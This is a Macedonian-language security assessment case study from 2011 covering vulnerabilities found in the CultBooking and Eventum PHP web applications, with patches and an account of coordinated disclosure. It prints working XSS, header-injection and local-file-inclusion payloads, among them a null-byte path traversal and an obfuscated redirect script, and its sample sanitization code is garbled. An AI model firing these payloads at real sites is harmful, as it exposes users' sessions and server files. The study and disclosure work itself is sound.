Upload
zero-science-lab
View
2.415
Download
0
Embed Size (px)
DESCRIPTION
Информациско безбедносна проценка на веб апликациите Eventum и Cultbooking. (in-house web application security assessment)
Citation preview
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
Информациско безбедносна проценка на веб апликации
(изучување на случај)
Секоја веб базирана апликација би требало да се тестира од грешки и багови (QA -
http://en.wikipedia.org/wiki/Quality_assurance) уште кога е во својата развојна фаза. Дури и откако ќе
излезе финалниот продукт, после додавањето на модули и нови ажурирања и додавање на нови
функционалности, апликацијата, доколку производителот ја смета за сериозна и доколку се грижи за
безбедноста на истата како и за безбедноста на своите клиенти кои ја користат, би требало да
извршува периодична безбедносна проценка или пенетрациско тестирање (пентест) и зацврстување
на веб апликацијата.
Во тој контекст решив да напишам едно изучување и анализа на веб апликации од безбедносна
гледна точка и како всушност изгледа едно безбедносно истражување на веб апликации и нивна
закрпа.
Избрав две веб апликации (PHP): CultBooking, развиена од германската компанија Cultuzz Digital
Media и претставува систем за резервации (хотели, карти и сл.) и Eventum, развиена од тимот на
MySQL (Oracle Corporation) која претставува систем за следење на багови, организација на задачи и
слично. Во овие две апликации ќе посочам на некои ранливости и нивни експлоатациски сценарија.
Пред да започне истражувањето првин ги преземам најновите верзии на горенаведените апликации
од нивните официјални веб страни и ја поставувам околината за тестирање со сите потребни
модули.
Во моментот на ова пишување, најновите верзии се:
1. CultBooking 2.0.4 - http://sourceforge.net/projects/cultbooking [3.454 KB]
2. Eventum 2.3 - https://launchpad.net/eventum [3.080 KB]
За овој вид на тестирање (in-house), околината содржи:
- GNU/Linux Fedora 10
- MS Windows XP Pro SP3
- XAMPP - http://www.apachefriends.org/en/xampp.html
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
1. Запознавање со целта
Запознавање со целта е важен чекор во секоја истражувачка дејност. За да го разбереме она што
сакаме да го тестираме, првин треба ги научиме методите и функционалноста на апликацијата. За
што служи, која е примарната цел на истата, како се справува со податоци, преглед на интерфејсот
и запознавање со додатните модули како и читање на прирачникот, разгледување и ревизија на
изворниот код и хиерархијата, точки на корисничко внесување, протоколи, дали користи
авторизација и автентикација и сл. Треба целосно да го запознаеме работниот тек (workflow) на
целта, како што ги знаеме нашите омилени апликации кои што ги користиме секојдневно, за да се
дојде до успешни резултати од анализата.
Нема да пишувам ревизија за апликациите и нивните плусеви и минуси. Откако го запознав системот
на работа кај апликациите, продолжувам со следниот чекор.
2. Креирање на листа од безбедносни тест алатки
"Man is a tool-using animal. Without tools he is nothing, with tools he is all."
- Thomas Carlyle
Нема да објаснувам како се користат алатките туку само ќе набројам неколку бесплатни и корисни
безбедносни алатки кои ги користев во ова сценарио:
* Mozilla Firefox - веб прелистувач - http://www.mozilla.com/en-US/firefox/
* TamperData - firefox екстензија за следење и модификација на HTTP/S побарувања -
http://tamperdata.mozdev.org/
* HackBar - firefox екстензија, toolbar кој ви помага во тестирање на безбедноста на сајтови -
https://code.google.com/p/hackbar/
* Fiddler - веб дебагер - http://www.fiddler2.com/fiddler2/
* Firebug - firefox екстензија за уредување, дебагирање и мониторинг на html, css и js во веб
сајтови - http://getfirebug.com/
* N-Stalker - безбедносен скенер за веб апликации - http://www.nstalker.com/products/free
* Acunetix - скенер за веб безбедност - http://www.acunetix.com/cross-site-scripting/scanner.htm
* Websecurify - безбедносно тестирање на веб апликации - http://www.websecurify.com/download
* Powerfuzzer - веб fuzzer (стрес алатка) - http://www.powerfuzzer.com/
* PuzlBox - PHP fuzzer (динамична анализа на програм) - http://sourceforge.net/projects/puzlbox1/
* OWASP Zed Attack Proxy (ZAP) - алатка за пенетрациско тестирање и пронаоѓање на
ранливости во веб апликации (поранешен Paros - http://www.parosproxy.org/) -
http://code.google.com/p/zaproxy/
* Burp Suite - платформа за тестирање на веб апликации - http://www.portswigger.net/burp/
* WebSlayer - bruteforcer за веб апликации - http://code.google.com/p/webslayer/
* Pixy - статична анализа на изворен код (SQLi/XSS) - http://pixybox.seclab.tuwien.ac.at/pixy/
* w3af - конструкција за папад и ревизија на веб апликации - http://w3af.sourceforge.net/
* Samurai - конструкција за веб тестирање - http://samurai.inguardians.com/
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
3. Истражување и анализа
3.1 CultBooking
Откако ја измапирав целата структура на апликацијата почнав со скенирање од ранливости со
горенаведените алатки како и разгледување на самиот код со едноставно читање. Пронајдов
неколку ранливости од типот Cross-Site Scripting од различни концепти, Local File Inclusion, File
Disclosure и Path Disclosure ранливост.
XSS POST Injection:
- Ранливи POST параметри: bookingcode и email
------------------------- HTTP Request ------------------------- POST /cultbooking/cultbooking.php HTTP/1.1
Content-Length: 136
Content-Type: application/x-www-form-urlencoded
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401
Firefox/3.1
Accept-Encoding: gzip,deflate
Keep-Alive: 50
Connection: Keep-Alive
bookingcode="><script>alert(1)</script>&email="><script>alert(1)</script>&agentsine=10492&agentd
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
utycode=1429741cfe1700d7&lang=de&hcode=11225&action=cancelbooking
------------------------------------------------------------------------
------------------------- HTTP Respond ---------------------------- HTTP/1.1 200 OK
Date: Sun, 16 Jan 2011 16:04:25 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1
mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Content-Length: 5386
Keep-Alive: timeout=5, max=80
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
------------------------------------------------------------------------
HTML Injection преку Header Attack:
- Ранлива променлива: Host
------------------------- HTTP Request ------------------------- POST /cultbooking/cultbooking.php HTTP/1.1
Host: "><zsl><h1>ZSL-CROSS-SCRIPT-EXECUTED"
Content-Length: 19
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401
Firefox/3.1
Accept-Encoding: gzip,deflate
Keep-Alive: 50
Connection: Keep-Alive
action=cancellation
------------------------------------------------------------------------
------------------------- HTTP Respond ---------------------------- HTTP/1.1 200 OK
Date: Sun, 16 Jan 2011 16:04:58 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1
mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Content-Length: 5335
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
------------------------------------------------------------------------
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
XSS GET:
- Ранлив параметар: lang
------------------------- HTTP Request ------------------------- GET /cultbooking/cultbooking.php?lang="><script>alert(1)</script> HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.1.8) Gecko/2008101401
Firefox/3.1
Accept-Encoding: gzip,deflate
Keep-Alive: 50
Connection: Keep-Alive
------------------------------------------------------------------------
------------------------- HTTP Respond ---------------------------- HTTP/1.1 200 OK
Date: Sun, 16 Jan 2011 16:04:23 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1
mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Keep-Alive: timeout=5, max=95
Connection: Keep-Alive
Transfer-Encoding: chunked
Content-Type: text/html; charset=utf-8
------------------------------------------------------------------------
Да напоменам дека има некои забрани поради magic_quotes (php.ini). Тие филтрирања можеме
понекогаш да ги заобиколуваме со помош на различни техники како енкодинг, обфускација, големи
и мали букви, хексадецимални карактери и т.н. Еве неколку референци:
Преусмерување: http://127.0.0.1/cultbooking/cultbooking.php?lang="><script>document.location.href=String.fromCh
arCode(104, 116, 116, 112, 58, 47, 47, 122, 101, 114, 111, 115, 99, 105, 101, 110, 99, 101, 46,
109, 107);</script>
http://www.asciitable.com/
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
http://seclists.org/pen-test/2007/Jan/95
http://devteev.blogspot.com/2010/08/null-byte.html
http://devteev.blogspot.com/2009/08/null-byte.html
http://www.ush.it/team/ush/hack-phpfs/phpfs_mad.txt
http://www.ush.it/2009/02/08/php-filesystem-attack-vectors/
http://ptresearch.blogspot.com/2010/08/another-alternative-for-null-byte.html
http://raz0r.name/articles/null-byte-alternative/
http://www.elartedeprogramar.cl/seguridad_web/advanced_postgrest_sql_injection_and_filter_bypass
_techniques_190.0.html
http://ha.ckers.org/sqlinjection/
http://ha.ckers.org/xss.html
и т.н.
Разоктривање на патеката на апликацијата (http://www.owasp.org/index.php/Full_Path_Disclosure)
обично доаѓа заедно со некоја друга ранливост поради несоодветно справување со грешки. Во овој
случај таа се појавува и во LFI и во XSS нападите. Едноставно на крајот на секој параметар додадете
го карактерот: ' (%27) или било што друго освен потребното и ќе ви биде претставена целосната
патека на веб директориумот на веб серверот. Пр:
http://127.0.0.1/cultbooking/cultbooking.php?lang='
Local File Inclusion / File Disclosure:
- Ранлив параметар: lang
- Зависно од magic_quotes_gpc=off
http://127.0.0.1/cultbooking/cultbooking.php?lang=c%3A%5C%5Cboot.ini%00
http://127.0.0.1/cultbooking/cultbooking.php?lang=../../../boot.ini%00
Ранливата функција можеме да ја погледнеме со следење на изворниот код во самата апликација:
cultbooking.php скриптата ја отворам во мојот омилен текст едитор и го разгледувам текот за
вклучување на функцијата и класите за јазикот. Во cultbooking.php гледам:
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
require_once('Sessionlanguage/cultbooking.languageNS.languageImplSkel.class.php');
навигирам во папката Sessionlanguage и го отворам cultbooking.languageNS.languageImplSkel.class.php
податокот. По детално разгледување доаѓам до скриптата:
cultbooking.languageNS.languageImpl.class.php во која го има следниов код:
----------------------------------------------------------
<?php
/** implement the methods of cultbooking§languageNS§languageImplSkel.class.php. */
class cultbooking§languageNS§languageImpl extends cultbooking§languageNS§languageImplSkel
{
var $incfile;
public function providetransLang()
{
return $this;
}
public function localization($incfile)
{
$this->incfile = $incfile;
}
public function translate($str)
{
include $this->incfile .".inc";
return $$str;
}
}
?>
----------------------------------------------------------
Проблемот е што нема доволно санирање на корисничкото внесување при што последици би можеле
да бидат катастрофални каде што напаѓачот би можел да дојде до осетливи информации само со
пропатување низ директориуми и специфицирање на податокот којшто сака да го види (пример:
passwd, config.php и сл.) со нулирање на крај од секој стринг (%00). Класата
cultbookingВ§languageNSВ§languageImpl е ранлива на LFI напад. Во функцијата се бара .inc податок
како што и веќе се таму en.inc и de.inc но со заобиколување и завршување на крај на стрингот
можеме да го видиме било кој податок кој се наоѓа во системот. Напаѓачот може да дојде до
осетливи информации на заразениот систем со пропатување на директориуми или пак да извршува
HTML код во корисничкиот прелистувач со помош на XSS напад.
Пример за побезбедно санирање/валидација:
<?php
$file = <?php
$file = preg_replace(‘/[^a-zA-Z0-9\_]/’,”,addslashes($_GET['file']));
$readfile = readfile($file);
?>
($_GET['file']));
$readfile = readfile($file);
?>
За среќа, magic_quotes_gpc доколку ви е вклучено (=ON) ќе се заштитите од овој напад но не и од
Path Disclosure. Magic Quotes конвертира некои карактери, што им отежнува на напаѓачите успешно
да извршат напад, пример: %00 во \0, но не се препорачува користење на magic quotes за
избегнување на податоци.
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
Споредба и закрпи:
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
Од сликите можете да видите како изгледа едно закрпување на веб апликација со едноставно
користење на функциите за регуларни изрази, поклопување на шаблони, санирање, споредување,
избегнување и нејзино зацврстување.
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
3.2 Eventum
Исто и за оваа апликација истите чекори како за претходната апликација во која најдов Stored
(Persistent) складирана Cross-Site Scripting ранливост. Тоа значи дека кога и да се вратите на
апликацијата, скриптата ќе се извршува кога ќе ја повикате ранливата страна.
POST Stored/Persistent XSS:
- Ранлива скрипта: list.php, ранлив параметар: keywords
POST /eventum-2.3/htdocs/list.php?keywords=<script>alert('ZSL')<%2Fscript> HTTP/1.1
RESPONSE: HTTP/1.1 200 OK
Откако се најавив (post-auth) и после извршувањето на побарувањето, малициозниот стринг е
вметнат и складиран додека рачно не се избрише. Исто така, самата апликација, складираниот
стринг го извршува на секои 5 минути се додека не ја затворите страницата (page self-
refresh/session). Тест со помош на оставање на стрингот:
<script>alert(Date())</script> во search полето...
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
Закрпа:
Reflected/Non-Persistent XSS:
forgot_password.php и select_project.php се исто така ранливи на XSS нападот поради немање
филтрирање кога ја користат REQUEST_URI променливата. Ја тестирав и верзијата 2.2:
GET /eventum-2.3/htdocs/forgot_password.php/>"><script>alert('ZSL')</script>
GET /eventum-2.2/forgot_password.php/>"><script>alert('ZSL')</script>
GET /eventum-2.2/select_project.php/>"><script>alert('ZSL')</script>
-----------------------------------------------
Скрипта: eventum-2.3/lib/eventum/class.auth.php:
Line 90: $failed_url .= "&url=" . urlencode($_SERVER['REQUEST_URI']);
Line 131: self::redirect("select_project.php?url=" . urlencode($_SERVER['REQUEST_URI']),
$is_popup);
--
Скрипта: eventum-2.3/templates/current_filters.tpl.html
Line: 11: <b>{$filter_name}</b>: {$filter_value}{if !$smarty.foreach.active_filters.last}; {/if}
--
Скрипта: eventum-2.3\lib\pear\HTTP.php:
Line 318: $url = isset($_SERVER['REQUEST_URI']) ?
Line 319: $_SERVER['REQUEST_URI'] : $_
-----------------------------------------------
Ранливоста се наоѓа во папката templates во следниве фајлови:
- current_filters.tpl.html
- forgot_password.tpl.html
- select_project.tpl.html
(+ е додаден код или закрпен, - е одстранет код):
---------------------------------------------------------------------------
=== modified file 'templates/current_filters.tpl.html'
--- templates/current_filters.tpl.html 2008-07-22 20:19:52 +0000
+++ templates/current_filters.tpl.html 2011-01-24 03:14:02 +0000
@@ -8,7 +8,7 @@
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
<td class="default">
{t}Current filters:{/t}
{foreach from=$active_filters name=active_filters key=filter_name
item=filter_value}
- <b>{$filter_name}</b>: {$filter_value}{if !$smarty.foreach.active_filters.last}; {/if}
+ <b>{$filter_name}</b>: {$filter_value|escape:"html"}{if !$smarty.foreach.active_filters.last}; {/if}
{foreachelse}
<i>{t}None{/t}</i>
{/foreach}
=== modified file 'templates/forgot_password.tpl.html'
--- templates/forgot_password.tpl.html 2010-10-07 11:43:46 +0000
+++ templates/forgot_password.tpl.html 2011-01-24 03:14:02 +0000
@@ -23,7 +23,7 @@
{include file="yellow_note.tpl.html" content=$note_message}
{/if}
<br />
-<form name="email_form" onSubmit="return validateForm(this);" method="post" action="{$smarty.server.PHP_SELF}">
+<form name="email_form" onSubmit="return validateForm(this);" method="post" action=""> <input type="hidden" name="cat" value="reset_password">
<table align="center" width="500" border="0" cellspacing="0" cellpadding="1" bgcolor="#000000">
<tr>
=== modified file 'templates/select_project.tpl.html'
--- templates/select_project.tpl.html 2010-10-07 11:43:46 +0000
+++ templates/select_project.tpl.html 2011-01-24 03:14:02 +0000
@@ -16,7 +16,7 @@
//-->
</script>
{/literal}
-<form name="login_form" onSubmit="return validateForm(this);" method="post" action="{$smarty.server.PHP_SELF}">
+<form name="login_form" onSubmit="return validateForm(this);" method="post" action=""> <input type="hidden" name="cat" value="select">
<input type="hidden" name="url" value="{$smarty.get.url}">
<table align="center" width="400" border="0" cellspacing="0" cellpadding="1" bgcolor="#000000">
---------------------------------------------------------------------------
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
Следење на измените од Eventum тимот (пред официјално објавување на нова верзија):
https://code.launchpad.net/~eventum-developers/eventum/trunk
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
4. Безбедносни предупредувања, пријавување, одговорност
После секој пронајдок, индивидуално зависи дали ќе го пријавите тој пронајдок на производителот
со надеж за соработка и координирано објавување на безбедносно предупредување (етички) или
пак веднаш со објавување (не-етички) или пак воопшто (за приватни цели).
Иако се обидував да воспоставам комуникација со тимот на CultBooking, не добив одговор, поради
што, за неколку дена ги објавив и безбедносните предупредувања за пошироката јавност (според
нашата полиса за обелоденување). Дури по 2 недели од објавувањето, бев известен од господинот
Uwe Steinbach од Cultuzz тимот дека објавиле закрпена верзија 2.0.5.
Тимот на CultBooking во овој случај одиграа многу не одговорно па може да се каже и малку дрско.
За поздрав е тимот на Eventum поради својата инволвираност и активност, и поради реагирање
веднаш на пријавените ранливости и грижа за безбедноста на својата апликација. Добија целосна
соработка и поддршка и разумно време за креирање на закрпата. Безбедноста на информации треба
да се сфати сериозно. Откако ги пријавив ранливостите, господинот Bryan Alsdorf и Elan Ruusamäe
развија закрпа за помалку од два дена, после кое следеше официјално објавување на новата
верзија, 2.3.1.
Безб. предупредување ID: ZSL-2011-4987
Наслов: CultBooking 2.0.4 (cultbooking.php) Multiple XSS/PD Vulnerabilities
Врска: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2011-4987.php
Безб. предупредување ID: ZSL-2011-4988
Наслов: CultBooking 2.0.4 (lang) Local File Inclusion Vulnerability
Врска: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2011-4988.php
Безб. предупредување ID: ZSL-2011-4989
Наслов: Oracle MySQL Eventum 2.3 Remote Script Insertion Vulnerabilies
Врска: http://www.zeroscience.mk/mk/vulnerabilities/ZSL-2011-4989.php
5. Препораки
Кога развивате веб апликации, било да сте програмер или проект менаџер, би требало секогаш да ја
имате безбедноста на ум. Постојат такви техники и функции кои ви овозможуваат да развиете
постабилна и побезбедна апликација за вашите клиенти. Исто така постојат и Web Application
Firewall (WAF) апликации и за Windows и за Linux. (Еве некоја листа:
http://www.owasp.org/index.php/Web_Application_Firewall)
Користете избегнувања на специјални карактери каде што треба, санирање на формулари и скрипти
што качуваат (upload) податоци, валидација, двојна проверка на функции со бази на податоци и сл.
Функции како:
htmlspecialchars(), htmlentities(), mysql_real_escape_string(), addslashes(), preg_match(),
stip_tags(), nl2br(), escapeshellarg() и т.н.
Zero Science Lab | www.zeroscience.mk Jan-Feb, 2011
Извршувајте безбедносни проценки и следете ги најновите вести од безбедносната индустрија како
и порталите што објавуваат нови ранливости и техники на заобиколување на безбедносните
механизми.
6. Корисни линкови и референци
- http://zeroscience.mk/mk/vulnerabilities/
- http://koduleht.eu/phptest/index.php
- http://koduleht.eu/phptest/taketest.php?11
- http://www.phpfreaks.com/tutorial/php-security
- http://grasp.coresecurity.com/index.php?m=chl
- http://www.ibm.com/developerworks/opensource/library/os-php-secure-apps/index.html
- http://net.tutsplus.com/tutorials/php/5-helpful-tips-for-creating-secure-php-applications/
- http://it.com.mk/lista-na-softver-za-revizija-na-izvoren-kod/
- http://www.gnucitizen.org/static/blog/2008/04/php-code-analysis-real-world-examples.pdf
- http://exploit-db.com
- http://secunia.com
- http://php-ids.org/
- http://osvdb.org
- http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet
- http://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet
- http://www.owasp.org/index.php/Cross-Site_Request_Forgery_%28CSRF%29_Prevention_Cheat_Sheet
- http://www.owasp.org/index.php/URL_Access_Prevention_Cheat_Sheet
- http://www.owasp.org/index.php/Injection_Prevention_Cheat_Sheet
- http://www.owasp.org/index.php/Esapi
- http://ha.ckers.org/xss.html
- http://phpsec.org/projects/guide/
- http://www.acunetix.com/websitesecurity/php-security-1.htm
- http://securitytube.net
- http://packetstormsecurity.org
- http://securityfocus.com
- http://vupen.com
- http://www.owasp.org/index.php/OWASP_Testing_Guide_v3_Table_of_Contents
- Book: The Art of Software Security Assessment: Identifying and Preventing Software Vulnerabilities од
Mark Dowd, John McDonald и Justin Schuh.
Ѓоко Крстиќ